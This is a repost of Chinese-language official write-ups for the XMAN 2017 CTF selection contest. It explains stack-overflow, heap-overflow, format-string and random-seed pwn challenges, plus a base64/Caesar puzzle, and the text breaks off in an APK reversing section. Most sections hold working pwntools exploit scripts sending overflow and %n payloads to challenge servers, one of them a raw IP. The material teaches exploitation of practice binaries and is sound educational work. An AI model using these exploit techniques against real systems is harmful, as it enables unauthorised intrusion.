XMAN选拔赛官方Writeup

转载

evil-hex 于 2017-07-20 16:22:00 发布
分类专栏： ctf

 ctf 专栏收录该内容
6 篇文章 1 订阅
订阅专栏

XMan选拔赛官方Writeup

XMan 2017 Baaa

[原理]

栈溢出。

[目的]

盲打栈溢出。

[环境]

Ubuntu。

[工具]

gdb、objdump、python。

[步骤]

拿到题目，发现并没有给二进制，估计是盲打。nc一下，发现返回了一个地址，我们尝试不同大小payload，最后确定下来大约为72位junk加上16位的地址。

exp

```
from pwn import *
r = remote("localhost",9999)
flag = p64(int(r.recvuntil(">").split(":")[1].strip("\n>"),16))
r.sendline("A"*72+flag)
print r.recvline()
```

[总结]

盲打的题一般不难

XMAN 2017 Caaa

【原理】

基本栈溢出

【目的】

使用IDA查看基本环境，然后修改函数返回地址从而getshell

【环境】

linux

【工具】

python，ida，gdb

【步骤】

是一个ELF64，首先运行一下:
是一个简单的输入程序，我们用checksec检查一下:

发现什么都没有打开。那么我们可以考虑直接上shellcode。检查程序，能够发现函数`introduce()`里面存在一个栈溢出：
这个是个简单的栈溢出，所以我们只需让函数跳到栈上执行即可:

```
# -*- coding:utf -*-
#!/usr/bin/env python

from pwn import *

DEBUG = 0
if DEBUG:
    ph = process("pwn1.bin")
    context.log_level = 'debug'
    context.terminal = ['tmux','splitw','-h']
    # gdb.attach(ph,'break *0x400781')
else:
    ph = remote("202.112.51.184",14000)

elf = ELF("pwn1.bin")
hack_addr = elf.symbols['hackInfo']

shell = 32*'a' + 8*'a' + p64(hack_addr)

print hex(hack_addr)
def pwn():
    print ph.recvuntil("Exit\n")
    ph.sendline('1')
    print ph.recvuntil("name is:")
    ph.sendline(shell)

if __name__ == "__main__":
    pwn()
    ph.interactive()
```

得到flag`xman{Welcome_to_bin_world!}`

【总结】

栈溢出是基本的漏洞利用方式，关键内容就是劫持程序流

Daaa

[原理]

堆溢出。

[目的]

掌握堆溢出。

[环境]

Ubuntu。

[工具]

gdb、objdump、python。

[步骤]

简单堆溢出

该题有xman和cyberpeace两个变量，通过malloc动态分配空间

因此要想覆盖xman->xman，只需要将cyberpeace给个大于16字节的内容即可。

```
from pwn import *
r = remote("localhost",4001)
r.sendline("xman 2333")
r.sendline("cyberpeace 2333")
r.sendline("cyberpeace 2333")
r.sendline("login")
print r.recvall()
```

[总结]

无

Laaa

[原理]

格式化字符串。

[目的]

掌握格式化字符串。

[环境]

Ubuntu。

[工具]

gdb、objdump、python。

[步骤]

作为最后一道压轴的pwn题,"难"倒不一定,"坑"那是肯定的.

首先拿到zip包,扔到ida,只显示binary文件

进去F5试了一下,毛线都没有

binwalk一下,卧槽,PNG文件头,顿时怀疑官方给错了二进制.

后来仔细查看,发现文件尾是正常的elf文件,而文件头是PNG的文件头,只能强制把文件头改过来了.

改完文件头,再进行调试,发现这次没问题了.然后就是简单格式化字符串漏洞进IDA，F5一下，

```
if ( xman == 0x2223322 )
result = system("/bin/cat flag");
```

objdump找一下

```
#objdump -t Laaa | grep "xman"
0804a030 g     O .bss   00000004              xman
```

在汇编中找到0x02223322，对栈中的数据进行计算

```
0x22=34
0x33=51
0x222=546

34-16=18
51-34=17
546-51=495
```

exp

```
from pwn import *
r = remote("challenges.xctf.org.cn",4002)
r.sendline("\x30\xa0\x04\x08\x31\xa0\x04\x08\x32\xa0\x04\x08\x33\xa0\x04\x08%18x%12$n%17x%13$n%495x%14$n")
print r.recvall()
```

拿到一串乱七八糟的字符串，提示里有crypto，可能是密码学的东西，在看到这次比赛里考到的密码学，最有可能的就是凯撒了。

```
R3gwaVhSUGhZRnNEbXZhQUd4MXpHd3dGRHdZSUN4aTBLUG9SSFFVZXBTYUlsMVVFSkhpVm4yWVRtUW90R1FLWEhIZWxEMlhqRXZLbEN4c3p
VWRuUXNsRzNzc0Z3S3ZHMUdjb1FZWWxrUDFHdm8wbTJRUkR5WXVEUDVsR3ZHVlgxQ2RIeFFEWEhDMEZ4MWhFd0tmQnZhSGwyQzNIR0tHcEd
QzBLSUVHc05Ed29jS1I5c0MxS2pGMUNSRzJVRkNFTUlHd2FFSmtRWm53b2RsUndzWFNNSUd4MDFvMVVjWEZvSW12YUpKdkYxbkdDSEtRWVl
VVZHR1FKbFFhSENJTVRHSGFSbzFVZG5Qc3NDRUdaSndvem0xSmlIeGVZQ3ZhakVHS3ZHeFVkRHlRbEczQ3NKMUtkbjFLSmxQOXRDd0oxSEV
RHZlRUMwS1FHUmlsbEdvUVlPTUlIU01TR0VVWXBSWVFLUW90RzNzRkd4ZWxKR0dkSHlDWURSQ2RGd0NIQzFDSEd4ZUlDMEc1SkZzUkd4VUp
VDJHeGl2WFJQaUtQb0VIUkNJSkhkMUd3d2NIeFF1bVFha0h2RzBGMDFJRndhS1hSQ1NHdVVWREdRZEd3c0hDR2F6SEdDVkV4R0hGeVVsQ3h
R3hQaFlIOUZHM1k0RUVRREcyUVFvUUdZR3lMaEd3bjFCMXdISElhR2x2NUlKRVFoSFF2anBSZXZDdmEwSkZLWmxIUGhuUWFIbUlDYkVHb0N
R0RtUWFkRnhpaEN3R2VYRU1HWHZhUkV3Q1JIUlBpblNLS0d3YWNGeGlabjJVUmxSc1lHSU1ZR3gxaEMyUGlESXN1Q0hDSUp2RjFuUUZoR3Z
SnZLVm9RR2RCd0tzbDBHNEdFTWxKR29RWUdLbEN4Q1pKRVlORDFLSEozc3RYR3c1Rndzemx3WVNwUnNIbVFhM0hHS2hHd29kS1JhWWxrR1N
YVBDd2F3Q3hDa0h2S0RsUDFkRHd3SGx2VWNKdVVSQzFvZkZ4aURtdlVrSEhlbEQxb1JIeVlHbDJDR0VIZWhER0tJWUlvSG1RdzZHUUNSRzJ
R0hoMkd1UWxsMkdlRkl3SG1SQ0pKeGQxSEd3Sm5Rb0hDd0trRzI1dkhSVVNGd3NJbDFVT0pFTGlHMUtiRndvSHB3S0JHdU12RDJDUkd5WUN
NVZKR1VlRnlNSG1JczNFd0tsb1JHU1pIYVlHeU01R1FLbGwyUWREeVVFbVJzSUpFUWxDMWFHSHhRdUd2NWpLUEtERzJVUm5PS0htRU00SnV
R3VLRG1TTWRHeGVoWEdLU3BRb3NDRVEwSkZLekhRS2VGSW9JR3dhSUZ1VVpDMlFRWUdvc1gwVUJHeDBpWVJCaUV2b0ltUnNaR3dvREhRS2V
Q2dHMmlLcHhRUkJ3S1lDMVVKR0gwaUcxVGlIeUN0Q3Y1Wkp3b3pDMUtlWElvQ1hIaUlHMXNkR0hVU0Z3d0ttSXNXR3ZLZG53S2ZLUUdZR3l
WEd3SW4zc3VtRjVTSHZLSGxHVWZCeXdJR3dhc0ZrVUREUVVjS1FLdEMxVWdHUUt6QjJUaUtRR0NtRktjRUdLZFlRdmhHeGVzbVBhR0d4ZDV
b3RDR3ZoR3VVMEcxd0lDeVlFbXZhSkp3R2xKR3dkRndvREN3dzNHMjVaRzJVUm5RYUtHSEJoR0VMaUNHR0ptUW9IcHZKMkdSaWxIeEdIRHl
SjBHSEYyVUpGd0NGR3dhV0tGS0twSEdTQ3dvWUdJTUlIRU1sRjFKaUR5WUltUkNzRnZHaEhRR2JDeW9EWHZLVEowS1pIUVVjblFhSG1FUDB
S2RtU1lIbUZLWkZ4aWhEUXdHbFJlSW1RYWtKMHNoRzJVSkJ3TUhtUWFzS1BLSG54Q1NDd290R3ZhWUd3b2hDMUZqRXlVQUd4Q3NGeDF6R1F
WEhza0d4MVZueFlSQndvWUN3RzRHeDE0SkhZZEh5R2xDeHNJSndzell3S2RLT01zWHZhU0cyNVpHUlVmQndzRkczTUlHUEtkSFAxR29Rb1l
c3pud0tiRHdZRUN3VUtKMG96RjJVY0R3TUhHM01TRmtMMW4xb2NLUlFFRFBVQUd4MGlGMVlSR0l3Wkd2NXpGeGVoR3d3Y0h4OUhtRmFLSkZ
bFJpc1hIOGpHeDEwSkhUakVJc0lIUmlGSnhlaEhd2NHdmVJQ3hpSktQRzBFeFVSRHdzSFh5c2NHdUxpRzFvYkJ3S3RIUnNKR3hhUmwxVWN
dzRIdnNabFFVZG5TTUdtRUdPR3VRdkhSR1JFd1lZR0VHVEd1VTBKR29TRHd3R21Sc0lKd0NRcHdDSXBSUUVDRVFHR0hpdkV3S2ZCdnNIR2t
SkdHUkd5Q3VwdktJRUhlaERRRmpYSVlzQ0VRVUZIYUhHMDFIblNVRmwyQ0RLRktIb0dDZEd4c3REUFVHRzFuaVhSQmlGSXNJbXZLREd2R2x
c0tsMVVBRzIxVm9HUWNsUW90SFJzekhJYVJFMlhqQ3ZvdUN4Q0lKeGVWSHdLY0ozc1pDdnc0RzJpdkdIVWNZSDlHbUVRRUcxS0hvUkNUSHY
RnlhSEdRS2NLUEt3Q3hDa0p2S2hHMVVGR3VVSGwxYXNHRVF2RFFLY0h3c3RIUnNoR0gxMG8wNVJIeVVLcHZLR0VIZWxEUUZqWUdvR21GRzV
b2VwUW9ZR3lNVEcxQ05KSEJqQ3ZLWUhRVXpGeWFkSEdLZXBQZUVDeENJR3dDUmx2MUlGdVFIbUlzY0pHS1ZueFlSbVFvdEhQVVhISGFSSkd
WEhDU0d4NURFMUtlRng5S2wxS2tFd0tkR3dvZVpHYUhtUmgyR3duaUMxd0hISWFzRFBhSUVGb0RHUUZoS1FZRFhJTVRKdktabVJVSkV1Q0h
aXZGMUtIbVNZbENrd0pGeGlWRzFKallIZUhHdmExRkhlbEd4VUZHd01LRzNZNEcxS1JueFFSS1A1c2wxYVVHeGV1cFFVZUd5WURtUmlzRng
SHdzSENrR0FIR0tVcEhRUkd3S3RDeUxrSEhhUkpHVGlIeUN2Q0V3RUp2R2hZd29Jb1I5RVhIaUlHUmVsRTFLZXBSUUhYUnNPRnZLRG9SR1J
S0pHeGlsb3dhUEN4ZXVYSENrSHZLRGxHSmpsUXNJRzNDY0dFUUhDMUtKS1FzdG1HVUdHSDEwbzJHZEhJd3dDdjVIRUdLaEhHQmlGd29IWE9
QzFLZGxRWVlHSUwyR3hpdllSUGhZRnNGbDJDSkp4aWxuR0dkS1FZSG1RYTBLRkcwRjJVUkd1Q0hHM0NjR3dvVkMyWVJId290SFJzNkd4aXZ
Q3NYdjVrSHZzWmx3VWVGd0NIbDFhc0cxS2xud29lblJpRG1SaDFHd28wSkdCaUh5Q3NDdlVJSnZLVnB3d2JDeVlJRzA1U0cyMTRHMlVIRHV
R1FvaEcxS1JIdnN3QzNDRUVIZDFEUXdHSHhRRm1QYTFGR3NkSFJVUm5Sc0htRVFJRjBLVm54VVNDd1lZWEZhM0d4MGlYUkJoWUZvSW13VVp
S2NuUG9GbVJDU0d1VVZvR1FjRndHc1hJTGtHSDE0bDJZY1pHS0FHMmlJRzBHVkR3S2RGdmF3Q3Z3NEd3c3pHUlVTbFNVR2wxRmlHMUtsbnd
bHZLSEp3c3pud3dISHhlRG1QNWtHMml2RzJHY0d1WUlsMlk0R3VRS3BRb2RtUmFEWDBVRkd4aXpCMkdkSHdzdUNGYVpHeGQxSFFKam9SZXN
RjFHMWFSS1Jzd2wxYUtHeGFVWEhCaUhJc0VsMWFKSkVVRGxRS2VwUUt3Q3dhMEtGS1psMVRpSHZ3S0dIQ2tHdVFsQ3dLSm1Rb3NsMjhoRzF
b1JlWkMwdzRHeDVIbHdZUVlHd0htRVAwRzBLZEd3b2NaR29ZR3lNNkdFVDFuMW9TQ0l3c0RQYWxHeGloRVF3NkR2ZURHd2FrSHZLWm1SVVJ
YUdISGV6QjJZUkd5UURsM0NKR3gxRHBHS2VYRm9IR0VRSEV3R2RHMVRrRnlVSEdrUVJLSDFSREdDZG5Sd0RYRnpqR3ZvMEpHd0lFeVlIbXZ
bFAxSEh2c0hYdUdBR3ZvVkN3WWRId290bXZVSkdHQ1JvMUtkS1NDRG1Sc0lFRkNIREdLY0ozc3VYdktJRjI1VkhRS1FEd3NGR3hDZ0VFUWx
d3NDMnNKR3VZekdRR2JEd29IWHZHNkp2bzRGMlVjRHlhSUczQ2dGRVFabjJQa0tSUURHMVVKR1FHREMwMUhId29HbDA1SkZ4MUREd0dJb1A
RnhkMUcxYVFZRjV0RzJzbEd4YVZZUlBoWUZzR0hSaUhKeGQxbkdHZEtRWUhtUmkwRXdHWkd3VWRIeXNHR2tRU0p2S2xuMVViRndzc1h2MGl
S2JCeFFLRzFVU0d4NVpGeFVHSHdzS2wyc09Hdkt2bjFLZUN3S1lHeU1KR3ZuMUYyUVJEeVl1Q0V3R0d4aWxYMUtiQ3hRdW1RS2pIdm96bFJ
bVNNc0hIaURDdjFSSHlDd0N2NUpGdVFWREdHZXBRWUZtUXc2SkZLdkcxS1Fta01LR1BLY0Z1UVpvR0NlblFZREdJTXpHMUtEQzFYaUV2b0l
R3ZHdjFjblBhR0drR2tHdVFsQ3dvZkR3b0hDR2FqR3hhUmwyQ0hIeVlJbUhpSUVIMXpId0pqcFJlWUN4aUlHeDVaSFJVY1lIOUdYUkNFSEd
RHdLSW14aUhFSDV6Q1FLYkJJc0RYSENpR1JpdkV3S2ZCdUdJbDFVU0d1VVlwUllRbFJzRGxrR0pHSGlsb3YxZEh5WWxDUVVIRUdHZFlRb2N
c2tKMml2b0dhUVlGNUhtdlVKR3VVMEcwMVJHeUNFbDFhRkp2S2hHd0tkSHZvWVhHS1NGd0NkRkdHRlhPdj0=
```

猜测是base64，跑一遍

```
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
JvKhGwKdHvoYXGKSFwCdFGGFXOv=
```

接出来发现还是base64，但是再解一遍发现乱码。

```
"]s

(&U$xf
-we㕣
3}sb
nY
%{,QC4d&.
e_P\pa`be`
Bk

)l
RPeC&D
,]#5U\Z&u`)k/晼d   vU,A'
3Rb
b$%p'RRm
uF!
R\b
#'


Bj`?#E)
-{$a
```

考虑可能是凯撒的原因，但这可能性就爆炸了，因为就算移位之后也得进行base64解密，而且估计还不是一层，就只能进行爆破了，把25位的移位全都计算出来，并且进行嵌套解密。假设1次base64，1次凯撒，因为是pwn题，应该不会有太多次加密，我们预估10次叠加，那么至少有5次凯撒，每次算上25次位移和2次base64，那么总共的次数最大是27^5=14348907次。。。。。。。。。一千多万次。。。。。。。。

```
http://tools.matchzones.net/caesar_cipher
```

凯撒与Base64叠加爆破脚本

```
#encoding=UTF-8
require "base64"
字符串 = "R3gwaVhSUGhZRnNEbXZhQUd4MXpHd3dGRHdZSUN4aTBLUG9SSFFVZXBTYUlsMVVFSkhpVm4yWVRtUW90R1FLWEhIZWxEMl
def 凯撒(字符串,i)
  l_alphabet = ("a".."z").to_a
  u_alphabet = ("A".."Z").to_a
  num = i
  string = 字符串
  newstring = ""
  string.each_char do |a|
      if !l_alphabet.include?(a) && !u_alphabet.include?(a)
          newstring += a
      else
          if l_alphabet.include?(a)
            index = l_alphabet.index(a) + num
            if index >= 26
              index = index % 26
            end
            newstring += l_alphabet[index]
          else
            index = u_alphabet.index(a) + num
            if index >= 26
              index = index % 26
```

```
            end
            newstring += u_alphabet[index]
          end
        end
      end
      return newstring
    end

    def 解密(字符串)
      return 字符串 = Base64.decode64(字符串)
    end

    def 炸裂吧(字符串)
      f = open("answer.txt","a")
      for i in 1..27
        if i == 26
          f.puts 字符串一=解密(字符串)
          f.puts i
        elsif i ==27
          f.puts 字符串一=解密(解密(字符串))
          f.puts i
        else
          f.puts 字符串一=解密(凯撒(字符串,i))
          f.puts i
        end
        for j in 1..27
          if j == 26
            f.puts 字符串二=解密(字符串一)
            f.puts i
            f.puts j
          elsif j ==27
            f.puts 字符串二=解密(解密(字符串一))
            f.puts i
            f.puts j
          else
            f.puts 字符串二=解密(凯撒(字符串一,j))
            f.puts i
            f.puts j
          end
          for k in 1..27
            if k == 26
              f.puts 字符串三=解密(字符串二)
              f.puts i
              f.puts j
              f.puts k
            elsif k ==27
              f.puts 字符串三=解密(解密(字符串二))
              f.puts i
              f.puts j
              f.puts k
            else
              f.puts 字符串三=解密(凯撒(字符串二,k))
              f.puts i
              f.puts j
              f.puts k
            end
            for l in 1..27
              if l == 26
                f.puts 字符串四=解密(字符串三)
                f.puts i
```

```
            f.puts j
            f.puts k
            f.puts l
          elsif l ==27
            f.puts 字符串四=解密(解密(字符串三))
            f.puts i
            f.puts j
            f.puts k
            f.puts l
          else
            f.puts 字符串四=解密(凯撒(字符串三,l))
            f.puts i
            f.puts j
            f.puts k
            f.puts l
          end
          for m in 1..27
            if m == 26
              f.puts 字符串五=解密(字符串四)
              f.puts i
              f.puts j
              f.puts k
              f.puts l
              f.puts m
            elsif m ==27
              f.puts 字符串五=解密(解密(字符串四))
              f.puts i
              f.puts j
              f.puts k
              f.puts l
              f.puts m
            else
              f.puts 字符串五=解密(凯撒(字符串四,m))
              f.puts i
              f.puts j
              f.puts k
              f.puts l
              f.puts m
            end
          end
        end
      end
    end
  end
  f.close
end

炸裂吧(字符串)
```

我们这个脚本用服务器大概跑了半小时左右，最后字典约为200多M，还可以接受,一般PC一个小时应该也差不多，之前的脚本我们还可以考虑将输出都写入数据库，到时候直接查询可能的字符串应该也可以,再大一点的就可以使用sphinx搭建一个简易的毫秒级社工库,然后进行索引,但这题时间有限,就不去浪费时间了。

我们直接尝试使用strings查找字符串,一开始尝试XMAN没找到,后来尝试flag发现有结果了.但是使用sed打印附近10行字符串的时候发现有问题,于是把answer.txt拉出来,扔到logview中打开,同样直接查找flag,定位到相应位置.

但是非常蛋疼的是,无论怎么查找都是有乱码,估计是编码的问题,这时候,之前ruby代码中的一大堆`puts i j k l m`就有用了,我们可以看见乱码下面跟着的数字分别是 `15 26 27 27 27`,我们可以根据这串数字判断出,系统到底进行了几次凯撒和几次Base64,并且能够知道加密顺序.那么我们可以确定系统先进行了一次15位的凯撒解密,然后进行了8次Base64解密,那么我们可以找到`15 26 27 27 26`的结果进行手动解码.

也就是这个字符串

```
5oiR5bm25LiN5piv6ZKI5a+56LCB77yM5oiR5Y+q5piv5oOz6K+055S16ISR5YmN55qE5ZCE5L2N6YO95piv5Z6D5Zy+77yM5pif5pyf5aS
```

手动再解一次码看看.

然后想起来irb中是utf-8编码,但文字可能是GBK编码,这就又坑爹了.找到相对应的上一次解密的base64代码,扔到在线解密的网站中.

最后解出来，竟然是这个毛线玩意

```
我并不是针对谁，我只是想说电脑前的各位都是垃圾，星期天不出去看看美女，坐在电脑前搞pwn，还有救吗？兄弟，注孤生啊。当然，我不
ps：flag不在这里，你从一开始就走错了，有本事你咬我啊。出题人--浩子哥哥
```

顿时整个人心态爆炸,(ノ °Д°)ノ ┻━┻(,估计没有人解到这一步,不然这个浩子哥哥早就被扔到马里亚纳海沟里去了.到这才发现，二进制中给的`system("/bin/cat flag");`其实就是个坑，我们必须得通过正规渠道拿到shell才行，但发现这是个坑这是才是最难的地方,因为这道题是下午才放出,解到这一步再去重新写exp肯定时间来不及了。这里的思路总体是通过利用格式化字符串漏洞,也就是`printbuffer`函数,但是因为NX开了,所以我们可以考虑利用`.bss`段来进行复写,因为系统中本身提供了一个`system("/bin/cat flag");`,所以这里可以不用去lic中计算system的plt与got表位置.想办法将`"/bin/sh"`压入堆栈作为system的参数,再压入system地址,再压入`ret`,这样运行的话,就能拿到shell了.本以为拿到shell之后就终于结束了,发现更坑爹的事情来了,`bash: ls: command not found`,ls竟然被删了,这还怎么做啊.冷静下来之后,想起来我还可以用`find`

```
find -name *flag*
./flag
```

发现还是无果,感觉这道`PWN`题比`MISC`还要`MISC`,到处都是脑洞.其实这里有很多种解决方案:

> 直接输入`history`,查看到之前的bash记录,其中有一条`mv /bin/ls /bin/xman`,然后直接用xman代替ls也能使用,之后我们查看到根目录下有一个`f.l.a.g`文件,cat一下就是真正的答案了.
>
> 还有一种方法,可以直接使用`dir`指令,因为ubuntu是对`dir`与`ls`都支持的.之后发现flag,cat一下得到结果`XMAN{My_Name_Is_HanMeimei.What's_your_namei?}`

[总结]

这道题总体来说不是太难,但就是因为中间夹杂了MISC与Crypto在里面,就非常坑爹了.如果直接提示`shell`的话,估计还是会有不少人能够做出来的.

XMan 2017 Raaa

[原理]

随机种子。

[目的]

掌握seed计算。

[环境]

Ubuntu。

[工具]

gdb、objdump、python。

[步骤]

这道题主要是对随机种子的计算用gdb运行这个文件，在rand后打下断点，打印出random的值为0x6b8b4567。将0x6b8b4567与0x23333333异或，得到结果1220048468，就是结果了。

```
from pwn import *
context.log_level=True
r = remote("localhost",4002)
r.sendline("1220048468")
print r.recvall()
```

[总结]

伪随机数不好用呐

XMAN 2017 Taaa:

【原理】

基本格式化字符串漏洞

【目的】

使用IDA查看二进制文件，然后使用printf格式化漏洞修改变量完成getshell

【环境】

linux，windows

【工具】

python，ida，gdb

【步骤】

首先用checksec检查，发现加上了nx
然后我们用IDA打开查看逻辑，里面有一个直接getshell

getshell的关键在于让v6的值变成68.但是这个vb在之前已经被赋值过，此时可以发现这个printf用法有点不妥：

```
    printf(&format);
```

此为典型格式化字符串漏洞。我们可以通过计算得到v4的地址是[bp-74h]。那么我们只要能够向v4处写入v6所在地址（程序之前已经泄露），然后通过格式化字符串漏洞，往对应位置写入指定长度的数据，那么就能够完成攻击。
此时执行printf时候的format_string和v4之间的距离。printf中格式化字符串中存在一个特殊的格式化字符:

```
   %n
```

这个字符能够向指定的地址写入数字。而我们这里可以看到，v4地址上正好是一个"地址"(这是我们故意输入的secret[0]的地址)，此时通过使用**$符号**，能够指定输入字符串是第几个参数，从而完成攻击。(注意，此时在64bit下，所以此时的参数有一部分是寄存器，传参顺序为%rdi, %rsi, %rdx, %rcx, %rdi, %r8, %r9，之后的参数才放在栈上)攻击脚本如下

```
#   -*- coding:utf-8 -*-
#!usr/bin/env python
from pwn import *
DEBUG = 1
if DEBUG:
    ph = process("pwn2.bin")
    context.log_level = "debug"
    context.terminal = ['tmux','splitw','-h']
    gdb.attach(ph, "break *0x004008C9")
else:
    ph = remote("192.168.140.132", 14001)
exp = 0x55*'a' + "%8$hhn"                                                    # exp = "%x,%x,%x,%x,
if __name__ == "__main__":
    print ph.recvuntil("secret[0] is ")
    addr = ph.recvuntil("\n").strip()
    addr = int(addr, 16)
    print "[+] now the secret[0] addr is %x"%addr
    print ph.recvuntil("tring\n")
    print "send {}".format(exp)
    ph.sendline(exp)
    print ph.recvuntil("integer\n")
    ph.sendline(str(addr))
    ph.interactive()
```

```
xman{D0_Y0U_kN0W_F0m4t?}
```

【总结】

通过学习基本的printf格式化利用方式和x64bit下的传参方式，实现对应参数的修改。

XMAN 2017 rev1：

【原理】

基本apk逆向

【目的】

通过使用jeb逆向分析算法，分析基本的代码逻辑，从而完成程序逆推。

【环境】

windows

【工具】

jeb

【步骤】

这道题的关键在于，使用了数字对应了一些简单的操作，从而造成了混淆的效果。使用工具看到内部逻辑，可以看到关键函数：
关键函数就是里面的一个check，我们看到check函数：

```
public boolean check() {
 boolean v9 = false;
